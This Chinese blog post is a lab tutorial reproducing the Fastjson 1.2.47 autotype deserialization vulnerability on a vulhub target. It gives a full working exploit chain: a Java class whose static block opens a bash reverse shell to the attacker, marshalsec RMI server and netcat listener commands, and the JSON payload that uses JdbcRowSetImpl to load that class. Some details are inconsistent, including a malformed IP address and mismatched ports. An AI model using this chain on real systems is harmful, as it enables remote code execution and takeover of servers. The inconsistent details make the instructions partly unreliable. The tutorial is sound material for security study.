当前位置:   article > 正文

Fastjson反序列化漏洞(靶场搭建复现)_fastjson靶场

fastjson靶场

Fastjson概念

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

漏洞的原理

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

漏洞影响:

 Fastjson1.2.47以及之前的版本

搭建靶场

vulhub中有fastjson反序列化漏洞的靶场,怎样搭建velhub请参考

centos7搭建和使用vulhub全过程--图文_centos7搭建vulstudy-CSDN博客

我这边在centos7上边搭建,各位看自己习惯

开启靶场

进入到fastjson反序列化漏洞目录

使用命令开启靶场:docker-compose up -d

如图靶场开启成功

使用命令docker-compose ps查看靶场端口

访问ip+端口

靶场搭建成功

搭建攻击环境

要是在kali中搭建攻击环境的话,需要先卸载自带的Java环境

# 查看安装的OpenJDK包

dpkg --list | grep -i jdk

# 卸载OpenJDK相关包

apt-get purge openjdk-*

再次运行dpkg --list | grep -i jdk检查是否卸载干净

安装Java环境

wget https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

# 将压缩包放到/opt/java目录下(注意自己的路径,没有/opt/java自己创建)

mv jdk-8u212-linux-x64.tar.gz /opt/java

解压压缩包

tar -zxvf jdk-8u212-linux-x64.tar.gz

# 配置环境变量

修改/etc/profile文件

vim /etc/profile

export JAVA_HOME=/opt/java/jdk1.8.0_212

export JRE_HOME=${JAVA_HOME}/jre 

export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib

export PATH=${JAVA_HOME}/bin:${PATH}

#通知系统java的位置

sudo update-alternatives --install "/usr/bin/java" "java" "/opt/java/jdk1.8.0_212/bin/java" 1

sudo update-alternatives --install "/usr/bin/javac" "javac" "/opt/java/jdk1.8.0_212/bin/javac" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1

sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/opt/java/jdk1.8.0_212/bin/javaws" 1

#设置默认JDK

sudo update-alternatives --set java /opt/java/jdk1.8.0_212/bin/java

sudo update-alternatives --set javac /opt/java/jdk1.8.0_212/bin/javac

sudo update-alternatives --set javaws /opt/java/jdk1.8.0_212/bin/javaws

# 使java环境生效

source /etc/profile

# 查看是否安装成功

java -version

安装maven

下载安装包

Index of /dist/maven/maven-3/3.5.4/binaries

下载到本地直接拖进去移动到/opt/java目录就行

#解压

tar -zxvf apache-maven-3.5.4-bin.tar.gz

#配置maven mvn,后面的路径为apache-maven-3.5.4所在目录

update-alternatives --install /usr/bin/mvn mvn /var/local/fastjion/apache-maven-3.5.4/bin/mvn 1

#配置mvn环境变量

vim /etc/profile

#添加内容

export MAVEN_HOME=/opt/java/apache-maven-3.5.4(apache-maven-3.5.4所在的目录)

export PATH=$MAVEN_HOME/bin:$PATH

#刷新配置文件

source /etc/profile

#查看maven版本

mvn -version

编译marshalsec

git clone GitHub - mbechler/marshalsec

时间可能会一些长,耐心等待

#进入marshalsec目录

cd marshalsec

#编译(时间特别长,耐心等待编译完成)

mvn clean package -DskipTests

如图编译完成

开始攻击

切换目录到marshalsec/target中

创建TouchFile.java文件

Vim TouchFile.java添加如下内容

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/反弹IP/1888 0>&1"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

#编译TouchFile.java

javac TouchFile.java

#在TouchFile.java所在目录,使用python搭建web服务,使用下面俩个哪个都行,此处使用python2

# python2

python -m SimpleHTTPServer 8086(8086为web服务端口)

# python3

python3 -m http.server

这里是为了让被攻击的网站可以找到我们的恶意文件

调用fastjson

#进入到marshalsec/target目录

cd /opt/java/marshalsec/target

#开启启RMI服务监听9999端口(将RMI服务与刚才用python搭建的网站绑定到一块)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.21.54:8001/#TouchFile" 9999

#nc监听

nc -lnvp 1888

终于搭建完成了,接下来我们开始攻击

攻击流程

访问我们第一步搭建的存在fastjson反序列化漏洞的靶场,用burp suite抓包

发送到repeater方便我们攻击

再次右键选择改变传参类型,改为POST请求

在请求体中添加payload,发起攻击

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://1923168.21.54:9999/TouchFile",

        "autoCommit":true

    }

}

查看我们的监听,成功反弹shell

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/寸_铁/article/detail/918289
推荐阅读
相关标签
  

闽ICP备14008679号